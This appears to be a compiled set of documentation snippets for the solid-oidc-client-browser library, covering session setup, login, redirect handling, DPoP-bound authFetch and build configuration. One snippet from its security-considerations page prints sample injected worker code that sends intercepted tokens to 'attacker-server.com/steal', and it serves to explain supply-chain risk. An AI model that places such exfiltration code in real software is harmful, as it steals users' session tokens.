### Install @uvdsl/solid-oidc-client-browser Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/Home Install the library using npm. ```bash npm install @uvdsl/solid-oidc-client-browser ``` -------------------------------- ### Initializing SessionCore with Client Details and Options Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Configure client details and session options, including a `SessionDatabase` implementation like `SessionIDB`, before creating a `SessionCore` instance. This setup is crucial for persistence and custom token refresh logic. ```typescript const clientDetails = { redirect_uris: ['https://app.example/callback'], // mandatory for dynamic registration client_name: 'My Application' // optional }; // if you want / need persistence, use a `SessionDatabase`! // for example `SessionIDB`, a IndexedDB-based implementation if IndexedDB is available in your context const sessionOptions = { database: new SessionIDB() }; // and then to create a `/core` Session const session: Session = new SessionCore(clientDetails, sessionOptions); ``` -------------------------------- ### Initialize and Use Solid OIDC Client Browser Session Source: https://github.com/uvdsl/solid-oidc-client-browser/blob/main/README.md Demonstrates the basic setup and usage of the Session class for authentication and making authenticated requests. Ensure to handle the redirect after login or restore an existing session. ```ts import { Session } from '@uvdsl/solid-oidc-client-browser'; // Create a session const session = new Session({ redirect_uris: [window.location.href], client_name: "My Solid App" }); // Try to establish a session // after user login redirect await session.handleRedirectFromLogin(); // or from a previous session await session.restore(); if (session.isActive) { console.log(`Welcome back, ${session.webId}!`); } else { // Redirect to login await session.login('https://solidcommunity.net/', window.location.href); } // Make authenticated requests const response = await session.authFetch('https://your.pod/private-resource'); ``` -------------------------------- ### Initiate Login Process Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Call this method to start the user login flow by redirecting them to their Identity Provider. Ensure the `idp` parameter matches the `issuer` attribute of the IDP's configuration or the `solid:oidcIssuer` in WebId profiles. ```typescript // Redirect user to their IdP for authentication await session.login('https://idp.example', 'https://app.example/callback'); ``` -------------------------------- ### SessionCore for Browser Extensions Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Utilize SessionCore for foundational session logic in browser extensions or custom setups. It omits automatic token refresh, giving you full control over the refresh lifecycle. Requires manual session restoration. ```typescript import { SessionIDB } from '@uvdsl/solid-oidc-client-browser/web'; import { Session, SessionCore, SessionDatabase, SessionOptions } from '@uvdsl/solid-oidc-client-browser/core'; // Create session with IndexedDB persistence const clientDetails = { redirect_uris: ['https://extension.example/callback'], client_name: 'My Browser Extension' }; // Use SessionIDB for persistence (if IndexedDB is available) const sessionOptions: SessionOptions = { database: new SessionIDB(), onSessionStateChange: (event) => { console.log('Session state changed'); } }; const session: Session = new SessionCore(clientDetails, sessionOptions); // Manual token refresh - you control when this happens async function refreshSession() { try { await session.restore(); console.log('Session refreshed, active:', session.isActive); } catch (e) { console.log('Could not refresh:', e.message); } } // Set up your own refresh schedule (e.g., in a browser extension background script) setInterval(refreshSession, 5 * 60 * 1000); // Refresh every 5 minutes // Or implement custom SessionDatabase for different storage backends class CustomDatabase implements SessionDatabase { private storage: Map = new Map(); async init(): Promise { /* Initialize storage */ } async getItem(key: string): Promise { return this.storage.get(key); } async setItem(key: string, value: any): Promise { this.storage.set(key, value); } async clear(): Promise { this.storage.clear(); } close(): void { /* Cleanup */ } } ``` -------------------------------- ### Customize DPoP Payload Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Example of providing custom DPoP claims during an authenticated fetch request. ```typescript const response = await session.authFetch('https://pod.example/resource', { method: 'POST', body: data }, { // Custom DPoP payload htu: 'https://custom-uri.example', htm: 'PATCH', extraClaim: 'custom-value' }); ``` -------------------------------- ### Example of Malicious Code Injection in Worker Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/Security-Considerations This code demonstrates how an attacker could inject malicious JavaScript into the worker file loaded from a CDN. The injected code intercepts user tokens and sends them to an attacker-controlled server, compromising user sessions. ```javascript // Malicious code an attacker could inject into the worker: // ... original worker code ... // STEAL THE TOKENS self.onconnect = (e) => { const port = e.ports[0]; port.onmessage = (event) => { // Look for token details and send them to an attacker if (event.data.type === 'TOKEN_DETAILS') { fetch('https://attacker-server.com/steal', { method: 'POST', body: JSON.stringify(event.data.payload) }); } // ... original message handler ... }; port.start(); }; ``` -------------------------------- ### Implement Solid Login in index.html Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/Usage-Examples Provides the main entry point for authentication, including session initialization, login redirection, and handling post-login redirects. ```html Solid Login Page

Solid Login Demo

Click the button below to log in with your Solid identity provider

``` -------------------------------- ### Get Authenticated User's WebID Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference The `webId` property returns the WebID of the authenticated user. It is `undefined` if the user is not authenticated. ```typescript console.log(`Logged in as: ${session.webId}`); ``` -------------------------------- ### Initialize Session with Client Details Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Demonstrates configuring a session using a dereferenceable client ID document or dynamic registration metadata. ```typescript import { Session } from '@uvdsl/solid-oidc-client-browser'; // DereferencableIdClientDetails: Use when you have a Client ID Document // The client_id must be a URL that resolves to a JSON-LD document const sessionWithClientDoc = new Session({ client_id: 'https://myapp.example/clientid.jsonld' }); // DynamicRegistrationClientDetails: Use for dynamic client registration // Only redirect_uris is required, other fields are optional const sessionWithDynReg = new Session({ // Required redirect_uris: ['https://myapp.example/callback', 'https://myapp.example/'], // Optional metadata for the client registration client_name: 'My Solid Application', client_uri: 'https://myapp.example', logo_uri: 'https://myapp.example/logo.png', contacts: ['admin@myapp.example'], tos_uri: 'https://myapp.example/terms', policy_uri: 'https://myapp.example/privacy', software_id: 'my-solid-app', software_version: '1.0.0' }); // Minimal dynamic registration (just redirect_uris) const minimalSession = new Session({ redirect_uris: [window.location.href] }); ``` -------------------------------- ### Initialize and Use Session Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/Home Create a session, handle redirects, restore existing sessions, or initiate login. Make authenticated requests using authFetch. ```typescript import { Session } from '@uvdsl/solid-oidc-client-browser'; // Create a session const session = new Session({ client_id: 'https://app.example/profile#app' }); // Try to restore a previous session // either by handling redirect after login await session.handleRedirectFromLogin(); // or by trying to restore the session await session.restore(); if (session.isActive) { console.log(`Welcome back, ${session.webId}!`); } else { // Redirect to login await session.login('https://solidcommunity.net/', window.location.href); } // Make authenticated requests const response = await session.authFetch('https://pod.example/private-resource'); ``` -------------------------------- ### Initialize a Session Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Create a session instance using either dynamic client registration or a pre-defined client ID document. ```typescript import { Session } from '@uvdsl/solid-oidc-client-browser'; // Option 1: Using dynamic client registration (recommended for most apps) const session = new Session({ redirect_uris: ['https://app.example/callback'], client_name: 'My Solid App', client_uri: 'https://app.example', logo_uri: 'https://app.example/logo.png' }, { onSessionStateChange: (event) => { if (event instanceof CustomEvent) { const { isActive, webId } = event.detail; console.log(`Session ${isActive ? 'active' : 'inactive'}, WebID: ${webId}`); } }, onSessionExpirationWarning: (event) => { if (event instanceof CustomEvent) { console.warn(`Session expiring in ${event.detail.expires_in} seconds`); } }, onSessionExpiration: () => { console.log('Session expired'); } }); // Option 2: Using a dereferenceable client_id (Client ID Document) const sessionWithClientId = new Session({ client_id: 'https://app.example/profile#app' }); ``` -------------------------------- ### Initialize Solid OIDC Session in HTML Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/Usage-Examples A complete HTML implementation showing session initialization, event handling for state changes, and login/logout button integration. ```html Solid Login Page

Solid Login Demo

Click the button below to log in with your Solid identity provider (solidcommunity.net)

Welcome to the application

``` -------------------------------- ### Session Constructor Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Initializes a new session instance with client configuration and optional session behavior settings. ```APIDOC ## Constructor ### Description Creates a new session instance for managing Solid-OIDC authentication. ### Parameters - **clientDetails** (DereferencableIdClientDetails | DynamicRegistrationClientDetails) - Optional - Configuration for the client application. - **sessionOptions** (SessionOptions) - Optional - Options for session behavior, such as onSessionStateChange callbacks. ### Request Example const session = new Session({ client_id: 'https://app.example/profile#app' }, { onSessionStateChange: () => { console.log('Session state changed'); } }); ``` -------------------------------- ### Session Constructor Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Initializes a new authentication session with either dynamic client registration or a pre-defined client ID. ```APIDOC ## Constructor Session ### Description Creates a new session instance. Supports dynamic client registration by providing client metadata or using a dereferenceable client_id. ### Parameters #### Request Body - **client_metadata** (object) - Optional - Configuration for dynamic client registration (redirect_uris, client_name, client_uri, logo_uri). - **session_options** (object) - Optional - Callbacks for session state changes (onSessionStateChange, onSessionExpirationWarning, onSessionExpiration). - **client_id** (string) - Optional - A dereferenceable client ID document URL. ``` -------------------------------- ### Create Welcome Page Structure Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/Usage-Examples Defines the secondary page layout for authenticated users. ```html Welcome Page

Hello!

Welcome to the application
``` -------------------------------- ### Instantiate Session with Dynamic Registration Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference This constructor is used for dynamic client registration, requiring `redirect_uris`. The `onSessionStateChange` callback allows for reacting to session state updates. ```typescript const session = new Session({ redirect_uris: ['https://app.example/callback'], // mandatory for dynamic registration client_name: 'My Application' // optional }, { onSessionStateChange: () => { console.log('Session state changed'); // Update UI or trigger reactivity } }); ``` -------------------------------- ### Configure Session Options Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Interface for configuring session behavior, including database selection and lifecycle callbacks. ```typescript export interface SessionOptions { database?: SessionDatabase; onSessionStateChange?: (event?: Event) => void; onSessionExpirationWarning?: (event?: Event) => void; onSessionExpiration?: (event?: Event) => void; workerUrl?: string | URL; } ``` -------------------------------- ### Initiate Login Flow Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Trigger the authentication process by redirecting the user to their chosen Identity Provider. ```typescript import { Session } from '@uvdsl/solid-oidc-client-browser'; const session = new Session({ redirect_uris: [window.location.href], client_name: 'My Solid App' }); // Login button click handler async function handleLogin() { const idp = 'https://solidcommunity.net/'; // User's Identity Provider const redirectUri = window.location.href; // Return to current page after login // This will redirect the browser to the IdP's login page await session.login(idp, redirectUri); // Note: Code after this line won't execute due to redirect } // Trigger login on button click document.getElementById('loginButton').addEventListener('click', handleLogin); ``` -------------------------------- ### Implement Session Restoration Pattern Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Standard workflow for restoring sessions on application startup and handling login redirects. ```typescript const session = new Session(clientDetails, sessionOptions); // Try to restore previous session on application start await session.restore(); if (session.isActive) { // Session was restored successfully console.log(`Welcome back, ${session.webId}`); // Continue with authenticated state } else { // No session to restore, user needs to log in // Show login UI } // alternatively, remember that you can use the onSessionStateChange callback // Later, when user clicks login button: async function loginUser() { await session.login('https://idp.example', 'https://app.example/callback'); } // And on your callback/redirect page: async function handleCallback() { await session.handleRedirectFromLogin(); if (session.isActive) { // Authentication successful // Redirect to application or update UI } else { // Authentication failed // Show error or login form } } ``` -------------------------------- ### Configure Stencil to Copy Worker File Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/Development-Hints Use the Stencil output target configuration to copy the worker file to the build directory. ```javascript // stencil.config.ts import { join } from 'path'; export const config = { outputTargets: [ { type: 'www', copy: [ { src: join(__dirname, '../node_modules/@uvdsl/solid-oidc-client-browser/dist/esm/web/RefreshWorker.js'), dest: 'build/RefreshWorker.js', }, ] } ] }; ``` -------------------------------- ### session.authFetch() Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Makes authenticated HTTP requests with DPoP-bound tokens, automatically including access tokens and DPoP proofs. ```APIDOC ## session.authFetch(input, init, dpopPayload) ### Description Makes authenticated HTTP requests with DPoP-bound tokens. Automatically includes the access token and DPoP proof in request headers. If the session is not active, behaves like standard fetch(). Automatically refreshes expired tokens before making requests. ### Parameters - **input** (RequestInfo) - Required - The URL or Request object to fetch. - **init** (RequestInit) - Optional - Standard fetch options. - **dpopPayload** (Object) - Optional - DPoP proof payload. ``` -------------------------------- ### Session Methods Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Core methods for managing the authentication lifecycle including login, redirect handling, restoration, and logout. ```APIDOC ## login(idp, redirect_uri) ### Description Initiates the login process by redirecting the user to their Identity Provider. ### Parameters - **idp** (string) - Required - URL of the user's Identity Provider. - **redirect_uri** (string) - Required - URL where the user should be redirected after authentication. --- ## handleRedirectFromLogin() ### Description Processes the authentication response after redirect from the identity provider. --- ## restore() ### Description Attempts to restore a previous session using stored refresh tokens without requiring user interaction. --- ## logout() ### Description Terminates the current session, clearing all tokens and session data. ``` -------------------------------- ### Configure Vite to Copy Worker File Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/Development-Hints Use vite-plugin-static-copy to move the worker file to the build output directory. ```javascript // vite.config.js import { defineConfig } from 'vite'; import { viteStaticCopy } from 'vite-plugin-static-copy'; export default defineConfig({ plugins: [ viteStaticCopy({ targets: [ { src: 'node_modules/@uvdsl/solid-oidc-client-browser/dist/RefreshWorker.js', dest: '.' } ] }) ] }); ``` -------------------------------- ### Handle Login Redirect Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Process the authorization response upon returning from the Identity Provider to establish the session. ```typescript import { Session } from '@uvdsl/solid-oidc-client-browser'; const session = new Session({ redirect_uris: [window.location.href], client_name: 'My Solid App' }); // Call this on page load to handle the redirect from IdP async function initializeApp() { try { // Process the authorization code from the URL await session.handleRedirectFromLogin(); if (session.isActive) { console.log(`Login successful! Welcome, ${session.webId}`); // Update UI to show logged-in state document.getElementById('user-info').textContent = session.webId; document.getElementById('login-section').style.display = 'none'; document.getElementById('app-section').style.display = 'block'; } else { // No active session after redirect (user may not have logged in) console.log('No active session'); } } catch (error) { console.error('Authentication failed:', error); } } // Run on page load initializeApp(); ``` -------------------------------- ### session.login() Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Initiates the OIDC authentication flow by redirecting the user to their chosen Identity Provider. ```APIDOC ## Method session.login() ### Description Initiates the authentication flow by performing OIDC discovery, setting up PKCE, and redirecting the user to the Identity Provider. ### Parameters - **idp** (string) - Required - The URL of the user's Solid Identity Provider. - **redirect_uri** (string) - Required - The URL to return to after successful authentication. ``` -------------------------------- ### Initialize and Restore Session Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/Usage-Examples Uses the Session class to handle login redirects or restore an existing session upon page load. ```javascript document.addEventListener('DOMContentLoaded', async () => { // Import the Session class from the library const module = await import('https://unpkg.com/@uvdsl/solid-oidc-client-browser@0.1.3/dist/esm/index.min.js'); const Session = module.Session; // Create a new session const session = new Session(); // Try to restore the session try { // either: handle redirect after login await session.handleRedirectFromLogin(); // or: try to restore the session await session.restore(); // Update the UI if (session.webId) { document.getElementById('webid').textContent = session.webId; document.getElementById('welcome-message').textContent = `Welcome! You are logged in.`; } else { document.getElementById('welcome-message').textContent = "You're not logged in. Please return to the login page."; } } catch (error) { console.error("Error restoring session:", error); document.getElementById('welcome-message').textContent = "Error restoring session. Please try logging in again."; } // Set up the back button document.getElementById('back-button').addEventListener('click', () => { window.location.href = 'index.html'; }); }); ``` -------------------------------- ### Define Dynamic Registration Client Details Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Interface for defining client metadata required for dynamic registration. ```typescript export interface DynamicRegistrationClientDetails { redirect_uris: string[]; // mandatory client_name?: string; client_uri?: string; logo_uri?: string; contacts?: string[]; tos_uri?: string; policy_uri?: string; software_id?: string; // not the `client id`! software_version?: string; } ``` -------------------------------- ### Component Usage of Solid Session Composable Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/Usage-Examples Demonstrates how to use the `useSolidSession` composable within a Vue component to trigger login, handle redirects, monitor session state, and perform logout. ```typescript import { useSolidSession } from './composables/useSolidSession'; const { session, state } = useSolidSession(); // call on a button click const redirect_uri = window.location.href; const idp = "your IDP"; session.login(idp, redirect_uri); // in code that is being executed // to handle the redirect after login session.handleRedirectFromLogin(); // let's have a look if we have a session watch(() => state.isActive, () => console.log("Logged in:", state.webId), { immediate: true }); // call on a button click session.logout(); ``` -------------------------------- ### Integrate Solid Session with Vue 3 Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Create a reactive composable to synchronize session state with Vue components. This implementation handles initialization and provides a readonly state object. ```typescript // composables/useSolidSession.ts import { DynamicRegistrationClientDetails, Session, SessionStateChangeDetail, SessionExpirationWarningDetail } from "@uvdsl/solid-oidc-client-browser"; import { Reactive, reactive, readonly } from "vue"; interface SessionState { isActive: boolean; webId?: string; isLoading: boolean; } const sessionState: Reactive = reactive({ isActive: false, webId: undefined, isLoading: true, }); const handleStateChange = (event: Event) => { if (event instanceof CustomEvent) { const { isActive, webId } = event.detail as SessionStateChangeDetail; sessionState.isActive = isActive; sessionState.webId = webId; sessionState.isLoading = false; } }; const clientDetails: DynamicRegistrationClientDetails = { redirect_uris: [window.location.href], client_name: "My Vue Solid App" }; const session = new Session(clientDetails, { onSessionStateChange: handleStateChange, onSessionExpirationWarning: (event) => { if (event instanceof CustomEvent) { const { expires_in } = event.detail as SessionExpirationWarningDetail; console.warn(`Session expiring in ${expires_in}s`); } } }); // Initialize on module load (async () => { try { await session.handleRedirectFromLogin(); await session.restore(); } finally { sessionState.isActive = session.isActive; sessionState.webId = session.webId; sessionState.isLoading = false; } })(); export function useSolidSession() { return { state: readonly(sessionState), session, }; } // Usage in a Vue component // ``` -------------------------------- ### Instantiate Session with Dereferencable Client ID Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Use this constructor when your client ID can be dereferenced to a client profile document. The `onSessionStateChange` callback is useful for updating the UI when the session state changes. ```typescript const session = new Session({ client_id: 'https://app.example/profile#app', // client_id that can be dereferenced to a client profile document }, { onSessionStateChange: () => { console.log('Session state changed'); // Update UI or trigger reactivity } }); ``` -------------------------------- ### Importing SessionCore and Related Types Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Import necessary types and classes from the core library for custom session management. This includes `SessionCore`, `Session`, `SessionDatabase`, and `SessionOptions`. ```typescript import { SessionIDB } from '@uvdsl/solid-oidc-client-browser/web'; import { Session, // the session interface SessionDatabase, // the session database interface to implement SessionOptions, // the session options to provide a database to the session SessionCore // the core session implementation that you'd extend or use } from '@uvdsl/solid-oidc-client-browser/core'; ``` -------------------------------- ### Configure Session Options Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Configures session behavior including custom database implementations, event callbacks for state changes and expiration, and worker URL overrides. ```typescript import { Session, SessionOptions } from '@uvdsl/solid-oidc-client-browser'; import { SessionIDB } from '@uvdsl/solid-oidc-client-browser/web'; const sessionOptions: SessionOptions = { // Custom database implementation (default: SessionIDB) database: new SessionIDB(), // Callback when session state changes (login, logout, refresh) onSessionStateChange: (event) => { if (event instanceof CustomEvent) { const { isActive, webId } = event.detail; console.log('State changed:', { isActive, webId }); // Update your app's state management here } }, // Callback when token refresh fails but session hasn't expired yet onSessionExpirationWarning: (event) => { if (event instanceof CustomEvent) { const { expires_in } = event.detail; // Show warning to user, prompt for re-login alert(`Your session will expire in ${expires_in} seconds. Please save your work.`); } }, // Callback when session definitively expires onSessionExpiration: () => { // Clean up and redirect to login window.location.href = '/login?reason=session_expired'; }, // Custom worker URL (for specific deployment setups) workerUrl: '/workers/solid-oidc-refresh-worker.js' }; const session = new Session({ redirect_uris: [window.location.href], client_name: 'My App' }, sessionOptions); ``` -------------------------------- ### Client Details Interface Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Defines the structure for providing client details required for authentication. ```APIDOC ## Interfaces ### ClientDetails The client details can be provided in one of two formats: #### DereferencableIdClientDetails ```typescript export interface DereferencableIdClientDetails { client_id: string // A dereferencable client_id URI } ``` ``` -------------------------------- ### Handle Redirect After Login Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference This method should be called on your callback page to process the authentication response from the identity provider. It checks for a valid session and updates the session state accordingly. ```typescript // On your callback/redirect page: await session.handleRedirectFromLogin(); if (session.isActive) { // Authentication successful, } else { // unauthentication session } ``` -------------------------------- ### Access session state properties Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Use isActive and webId to determine the current authentication status and retrieve the user's WebID URI. ```typescript import { Session } from '@uvdsl/solid-oidc-client-browser'; const session = new Session({ redirect_uris: [window.location.href], client_name: 'My Solid App' }); await session.restore(); // Check authentication state if (session.isActive) { console.log('User is logged in'); console.log('WebID:', session.webId); // e.g., 'https://solidcommunity.net/johndoe/profile/card#me' // Use webId to fetch user's profile const profileUrl = session.webId.split('#')[0]; const response = await session.authFetch(profileUrl); const profile = await response.text(); } else { console.log('User is not logged in'); console.log('webId:', session.webId); // undefined } ``` -------------------------------- ### session.restore() Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Attempts to restore a previous session using stored refresh tokens from IndexedDB without requiring user interaction. ```APIDOC ## session.restore() ### Description Attempts to restore a previous session using stored refresh tokens without requiring user interaction. Uses the RefreshTokenGrant to obtain fresh tokens from the session stored in IndexedDB. Silently fails if no session can be restored. ``` -------------------------------- ### Session Event Handling via Constructor Callbacks Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Configure session event handlers directly in the `Session` constructor using `onSessionStateChange`, `onSessionExpirationWarning`, and `onSessionExpiration` callbacks. This is suitable for simpler use cases. ```typescript import { Session, SessionStateChangeDetail, SessionExpirationWarningDetail } from '@uvdsl/solid-oidc-client-browser'; const session = new Session(clientDetails, { onSessionStateChange: (event) => { if (event instanceof CustomEvent) { const { isActive, webId } = event.detail as SessionStateChangeDetail; console.log(`Session changed: ${isActive ? 'active' : 'inactive'}`, webId); } }, onSessionExpirationWarning: (event) => { if (event instanceof CustomEvent) { const { expires_in } = event.detail as SessionExpirationWarningDetail; console.warn(`Session expiring in ${expires_in} seconds!`); } }, onSessionExpiration: () => { console.log('Session expired'); } }); ``` -------------------------------- ### session.handleRedirectFromLogin() Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Processes the authentication response after the user returns from the Identity Provider. ```APIDOC ## Method session.handleRedirectFromLogin() ### Description Processes the authorization code from the URL, exchanges it for tokens, validates them, and establishes the session. ### Response - **session.isActive** (boolean) - Indicates if the session was successfully established. - **session.webId** (string) - The WebID of the authenticated user. ``` -------------------------------- ### Listen for Session Events with EventTarget Source: https://context7.com/uvdsl/solid-oidc-client-browser/llms.txt Use the Session class as an EventTarget to react to state changes, expiration warnings, and session expiration. Ensure the session is initialized with handleRedirectFromLogin and restore. ```typescript import { Session, SessionEvents, SessionStateChangeDetail, SessionExpirationWarningDetail } from '@uvdsl/solid-oidc-client-browser'; const session = new Session({ redirect_uris: [window.location.href], client_name: 'My Solid App' }); // Listen for state changes (login, logout, token refresh) session.addEventListener(SessionEvents.STATE_CHANGE, (event: Event) => { if (event instanceof CustomEvent) { const { isActive, webId } = event.detail as SessionStateChangeDetail; console.log(`Session state changed: ${isActive ? 'active' : 'inactive'}`); if (isActive) { console.log(`Logged in as: ${webId}`); updateUIForLoggedInUser(webId); } else { updateUIForLoggedOutUser(); } } }); // Listen for expiration warnings (token refresh failed but not yet expired) session.addEventListener(SessionEvents.EXPIRATION_WARNING, (event: Event) => { if (event instanceof CustomEvent) { const { expires_in } = event.detail as SessionExpirationWarningDetail; console.warn(`Session will expire in ${expires_in} seconds!`); showExpirationWarningModal(expires_in); } }); // Listen for session expiration session.addEventListener(SessionEvents.EXPIRATION, () => { console.log('Session has expired'); showSessionExpiredModal(); redirectToLogin(); }); // Initialize session await session.handleRedirectFromLogin(); await session.restore(); ``` -------------------------------- ### Explicitly Import Worker URL for Vite Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/Development-Hints Use Vite's URL import syntax to provide the worker path to the Session constructor. ```typescript // In your app's main entry point or session setup file import { Session, SessionOptions } from '@uvdsl/solid-oidc-client-browser'; // Explicitly import the worker URL using Vite's query suffix import refreshWorkerUrl from '@uvdsl/solid-oidc-client-browser/dist/RefreshWorker.js?sharedworker&url'; const clientDetails = { // ... your client details }; const sessionOptions: SessionOptions = { workerUrl: refreshWorkerUrl, // Pass the imported URL // ... other options }; export const session = new Session(clientDetails, sessionOptions); ``` -------------------------------- ### Manually Restoring Session with SessionCore Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Call `session.restore()` to refresh tokens when using `SessionCore`. This method must be invoked manually to manage token refreshes, unlike the default `Session` which handles it automatically. Error handling for the restore operation is recommended. ```typescript // to refresh tokens and thus to restore a session from the database, we suggest session.restore().catch(e => console.log(e.message)); ``` -------------------------------- ### Session Event Listeners Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Methods for reacting to session lifecycle events such as state changes, expiration warnings, and session expiration. ```APIDOC ## Session Event Listeners The Session class extends `EventTarget` and provides methods to listen for session lifecycle events. ### Available Events | Event Name | `SessionEvents` Enum | Detail Interface | SessionOptions | |------------------------|----------------------|--------------------------------|--------------------------------| | **`sessionStateChange`** | `STATE_CHANGE` | `SessionStateChangeDetail` | `onSessionStateChange` | | **`sessionExpirationWarning`** | `EXPIRATION_WARNING` | `SessionExpirationWarningDetail` | `onSessionExpirationWarning` | | **`sessionExpiration`** | `EXPIRATION` | `null` | `onSessionExpiration` | ### Option 1: Callbacks (in Constructor) Pass callback functions directly in `SessionOptions`. ```typescript import { Session, SessionStateChangeDetail, SessionExpirationWarningDetail } from '@uvdsl/solid-oidc-client-browser'; const session = new Session(clientDetails, { onSessionStateChange: (event) => { if (event instanceof CustomEvent) { const { isActive, webId } = event.detail as SessionStateChangeDetail; console.log(`Session changed: ${isActive ? 'active' : 'inactive'}`, webId); } }, onSessionExpirationWarning: (event) => { if (event instanceof CustomEvent) { const { expires_in } = event.detail as SessionExpirationWarningDetail; console.warn(`Session expiring in ${expires_in} seconds!`); } }, onSessionExpiration: () => { console.log('Session expired'); } }); ``` ### Option 2: Event Listeners (Recommended for flexibility) Use `addEventListener` to attach multiple handlers. ```typescript import { Session, SessionEvents, SessionStateChangeDetail } from '@uvdsl/solid-oidc-client-browser'; session.addEventListener(SessionEvents.STATE_CHANGE, (event: Event) => { if (event instanceof CustomEvent) { const { isActive, webId } = event.detail as SessionStateChangeDetail; console.log(`Session is now ${isActive ? 'active' : 'inactive'}`); } }); ``` ### SessionEvents Enum ```typescript export enum SessionEvents { STATE_CHANGE = 'sessionStateChange', EXPIRATION_WARNING = 'sessionExpirationWarning', EXPIRATION = 'sessionExpiration', } ``` ### Event Detail Interfaces ```typescript export interface SessionStateChangeDetail { isActive: boolean; webId?: string; } export interface SessionExpirationWarningDetail { expires_in: number; // seconds until expiration } ``` ``` -------------------------------- ### Session Event Handling with Event Listeners Source: https://github.com/uvdsl/solid-oidc-client-browser/wiki/API-Reference Use `addEventListener` to attach handlers for session events like `sessionStateChange`. This approach offers more flexibility for managing multiple listeners or dynamic handler attachment/removal. ```typescript import { Session, SessionEvents, SessionStateChangeDetail } from '@uvdsl/solid-oidc-client-browser'; // Using the SessionEvents enum for type safety session.addEventListener(SessionEvents.STATE_CHANGE, (event: Event) => { if (event instanceof CustomEvent) { const { isActive, webId } = event.detail as SessionStateChangeDetail; console.log(`Session is now ${isActive ? 'active' : 'inactive'}`); } }); ```